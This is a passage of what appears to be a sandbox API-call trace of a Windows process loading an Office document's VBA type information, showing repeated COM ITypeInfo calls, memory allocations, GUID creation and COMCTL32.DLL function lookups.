pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd5, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd6, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd7, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd8, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd9, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xda, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdb, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdc, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdd, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xde, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdf, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe0, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe1, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe2, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe3, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe4, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe5, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe6, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe7, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.571] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe8, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe9, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xea, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xeb, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xec, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xed, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xee, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xef, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf0, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf1, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf2, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf3, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf4, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf5, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf6, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf7, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf8, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.572] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.573] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f5ac8 | out: ppvObject=0xb5690f5ac8*=0x2764af387c8) returned 0x0 [0116.573] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f5ad8 | out: pVarVal=0xb5690f5ad8*(varType=0x0, wReserved1=0x0, wReserved2=0x1b9, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0116.573] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0116.573] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f5ad0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0116.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f59e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0116.573] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0116.574] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f5a80 | out: ppvObject=0xb5690f5a80*=0x0) returned 0x80004002 [0116.574] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f5aa8, pDummy=0xb5690f5a80 | out: ppTypeAttr=0xb5690f5aa8, pDummy=0xb5690f5a80*=0x0) returned 0x0 [0116.574] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0116.574] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764bb09710, cb=0x62) returned 0x2764ba22ef0 [0116.574] IUnknown:AddRef (This=0x2764af38928) returned 0x4 [0116.574] IUnknown:Release (This=0x2764af38878) returned 0x1 [0116.574] IUnknown:Release (This=0x2764af38928) returned 0x3 [0116.574] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0116.574] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0116.574] IUnknown:AddRef (This=0x2764af38878) returned 0x3 [0116.574] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f5d00, pDummy=0x0 | out: ppTypeAttr=0xb5690f5d00, pDummy=0x0) returned 0x0 [0116.574] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0116.574] ITypeInfo:GetRefTypeOfImplType (in: This=0x2764af38878, index=0x0, pRefType=0xb5690f5cf8 | out: pRefType=0xb5690f5cf8*=0x3) returned 0x0 [0116.574] ITypeInfo:GetRefTypeInfo (in: This=0x2764af38878, hreftype=0x3, ppTInfo=0xb5690f5d08 | out: ppTInfo=0xb5690f5d08*=0x2764546d628) returned 0x0 [0116.574] IUnknown:Release (This=0x2764af38878) returned 0x2 [0116.574] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764546d628, ppTypeAttr=0xb5690f5d00, pDummy=0xb5690f5cd8 | out: ppTypeAttr=0xb5690f5d00, pDummy=0xb5690f5cd8*=0x400) returned 0x0 [0116.574] ITypeInfo:LocalReleaseTypeAttr (This=0x2764546d628) returned 0x0 [0116.574] ITypeInfo:GetRefTypeOfImplType (in: This=0x2764546d628, index=0x0, pRefType=0xb5690f5cf8 | out: pRefType=0xb5690f5cf8*=0x182) returned 0x0 [0116.574] ITypeInfo:GetRefTypeInfo (in: This=0x2764546d628, hreftype=0x182, ppTInfo=0xb5690f5d08 | out: ppTInfo=0xb5690f5d08*=0x2764546d680) returned 0x0 [0116.575] IUnknown:Release (This=0x2764546d628) returned 0x5 [0116.575] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764546d680, ppTypeAttr=0xb5690f5d00, pDummy=0xb5690f5ce0 | out: ppTypeAttr=0xb5690f5d00, pDummy=0xb5690f5ce0*=0x690f5d10) returned 0x0 [0116.575] ITypeInfo:LocalReleaseTypeAttr (This=0x2764546d680) returned 0x0 [0116.575] IUnknown:Release (This=0x2764546d680) returned 0x4 [0116.575] IUnknown:Release (This=0x2764af38878) returned 0x1 [0116.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="05612782e9", cchWideChar=11, lpMultiByteStr=0xb5690f5cf0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="05612782e9", lpUsedDefaultChar=0x0) returned 11 [0116.575] GetLocalTime (in: lpSystemTime=0xb5690f5dd8 | out: lpSystemTime=0xb5690f5dd8*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x3, wSecond=0xb, wMilliseconds=0xd6)) [0116.575] _ultow_s (in: _Value=0x612782ff, _Buffer=0x2764b1d0724, _BufferCount=0x9, _Radix=16 | out: _Buffer="612782ff") returned 0x0 [0116.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="07612782ff", cchWideChar=11, lpMultiByteStr=0xb5690f5d30, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="07612782ff", lpUsedDefaultChar=0x0) returned 11 [0116.575] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f5d88, pDummy=0x2764b407ef0 | out: ppTypeAttr=0xb5690f5d88, pDummy=0x2764b407ef0*=0x7) returned 0x0 [0116.575] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f5d30, pDummy=0x6 | out: ppTypeAttr=0xb5690f5d30, pDummy=0x6) returned 0x0 [0116.575] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0116.575] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0116.575] IUnknown:Release (This=0x2764af38878) returned 0x1 [0116.575] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa3c90, cb=0x100) returned 0x2764b847650 [0116.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xb5690f5b70, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0116.576] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0116.576] IUnknown:Release (This=0x2764af38878) returned 0x1 [0116.576] IUnknown:Release (This=0x2764af38878) returned 0x1 [0116.576] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f5930 | out: ppvObject=0xb5690f5930*=0x0) returned 0x80004002 [0116.576] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f5878 | out: ppvObject=0xb5690f5878*=0x2764af387c8) returned 0x0 [0116.576] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f5888 | out: pVarVal=0xb5690f5888*(varType=0x0, wReserved1=0x690f, wReserved2=0xb5, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0116.576] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0116.576] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f5880, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f58a0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f58a0*="寰椏µ") returned 0x0 [0116.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f5790, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0116.576] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0116.576] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f5880, pDummy=0x0 | out: ppTypeAttr=0xb5690f5880, pDummy=0x0) returned 0x0 [0116.576] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0116.576] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f5878 | out: ppvObject=0xb5690f5878*=0x2764af387c8) returned 0x0 [0116.577] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f5888 | out: pVarVal=0xb5690f5888*(varType=0x0, wReserved1=0x0, wReserved2=0x1b9, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0116.577] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0116.577] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f5880, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0116.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f5790, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0116.577] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0116.577] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f5830 | out: ppvObject=0xb5690f5830*=0x0) returned 0x80004002 [0116.577] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f5858, pDummy=0xb5690f5830 | out: ppTypeAttr=0xb5690f5858, pDummy=0xb5690f5830*=0x0) returned 0x0 [0116.577] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0116.577] IUnknown:Release (This=0x2764af38878) returned 0x1 [0116.577] IUnknown:Release (This=0x2764af38928) returned 0x3 [0116.577] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0116.577] IUnknown:AddRef (This=0x2764af38928) returned 0x4 [0116.577] IUnknown:Release (This=0x2764af38928) returned 0x3 [0116.577] IUnknown:Release (This=0x2764af38878) returned 0x1 [0116.577] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af387c8, ppTypeAttr=0xb5690f5b58, pDummy=0x2764b407ef0 | out: ppTypeAttr=0xb5690f5b58, pDummy=0x2764b407ef0*=0x7) returned 0x0 [0116.577] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af387c8) returned 0x0 [0116.577] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0116.577] CoCreateGuid (in: pguid=0xb5690f5d10 | out: pguid=0xb5690f5d10*(Data1=0xd445a243, Data2=0x49ee, Data3=0x4daf, Data4=([0]=0xb9, [1]=0x28, [2]=0x50, [3]=0x30, [4]=0xa, [5]=0xa, [6]=0xd7, [7]=0x9f))) returned 0x0 [0116.577] CoCreateGuid (in: pguid=0xb5690f5d10 | out: pguid=0xb5690f5d10*(Data1=0xaeb23bd0, Data2=0x69e6, Data3=0x4ea0, Data4=([0]=0x88, [1]=0xae, [2]=0xb2, [3]=0x6d, [4]=0x54, [5]=0x41, [6]=0xb5, [7]=0xa0))) returned 0x0 [0116.577] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2764b9db740 [0116.577] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc0) returned 0x2764ba50940 [0116.577] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ba50940) returned 0xc0 [0116.579] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f5fa0, pDummy=0x2764b407ef0 | out: ppTypeAttr=0xb5690f5fa0, pDummy=0x2764b407ef0*=0x7) returned 0x0 [0116.579] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0116.579] ITypeInfo:GetRefTypeOfImplType (in: This=0x2764af38878, index=0x0, pRefType=0xb5690f5f98 | out: pRefType=0xb5690f5f98*=0x3) returned 0x0 [0116.579] ITypeInfo:GetRefTypeInfo (in: This=0x2764af38878, hreftype=0x3, ppTInfo=0xb5690f5fa8 | out: ppTInfo=0xb5690f5fa8*=0x2764546d628) returned 0x0 [0116.579] IUnknown:Release (This=0x2764af38878) returned 0x1 [0116.579] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764546d628, ppTypeAttr=0xb5690f5fa0, pDummy=0xb5690f5f78 | out: ppTypeAttr=0xb5690f5fa0, pDummy=0xb5690f5f78*=0x400) returned 0x0 [0116.579] ITypeInfo:LocalReleaseTypeAttr (This=0x2764546d628) returned 0x0 [0116.579] ITypeInfo:GetRefTypeOfImplType (in: This=0x2764546d628, index=0x0, pRefType=0xb5690f5f98 | out: pRefType=0xb5690f5f98*=0x182) returned 0x0 [0116.579] ITypeInfo:GetRefTypeInfo (in: This=0x2764546d628, hreftype=0x182, ppTInfo=0xb5690f5fa8 | out: ppTInfo=0xb5690f5fa8*=0x2764546d680) returned 0x0 [0116.579] IUnknown:Release (This=0x2764546d628) returned 0x5 [0116.579] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764546d680, ppTypeAttr=0xb5690f5fa0, pDummy=0xb5690f5f80 | out: ppTypeAttr=0xb5690f5fa0, pDummy=0xb5690f5f80*=0x690f5fb0) returned 0x0 [0116.579] ITypeInfo:LocalReleaseTypeAttr (This=0x2764546d680) returned 0x0 [0116.579] IUnknown:Release (This=0x2764546d680) returned 0x4 [0116.579] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x9c) returned 0x2764ae59ad0 [0116.579] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db5c0 [0116.579] CLSIDFromString (in: lpsz="{60F24CAB-9E62-449A-AE7B-E2CB2ED1EA32}", pclsid=0x2764b9db5c0 | out: pclsid=0x2764b9db5c0*(Data1=0x60f24cab, Data2=0x9e62, Data3=0x449a, Data4=([0]=0xae, [1]=0x7b, [2]=0xe2, [3]=0xcb, [4]=0x2e, [5]=0xd1, [6]=0xea, [7]=0x32))) returned 0x0 [0116.580] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db480 [0116.580] CLSIDFromString (in: lpsz="{07AB9651-2CE8-4D47-BF10-6ABB737ED0A2}", pclsid=0x2764b9db480 | out: pclsid=0x2764b9db480*(Data1=0x7ab9651, Data2=0x2ce8, Data3=0x4d47, Data4=([0]=0xbf, [1]=0x10, [2]=0x6a, [3]=0xbb, [4]=0x73, [5]=0x7e, [6]=0xd0, [7]=0xa2))) returned 0x0 [0116.580] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b64eac0) [0116.580] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae59ad0) [0116.581] LoadLibraryA (lpLibFileName="COMCTL32.DLL") returned 0x7ff9dd020000 [0116.582] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001b6) returned 1 [0116.582] GetLastError () returned 0x0 [0116.583] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="ImageList_Destroy") returned 0x7ff9dd049bb0 [0116.584] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="ImageList_GetIconSize") returned 0x7ff9dd06fc40 [0116.585] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="InitCommonControls") returned 0x7ff9dd086570 [0116.585] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="ImageList_LoadImageA") returned 0x7ff9dd0e58f0 [0116.586] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="ImageList_Create") returned 0x7ff9dd04b800 [0116.587] GetProcAddress (hModule=0x7ff9dd020000, lpProcName="ImageList_SetOverlayImage") returned 0x7ff9dd0e5e20 [0116.587] GetProcAddress 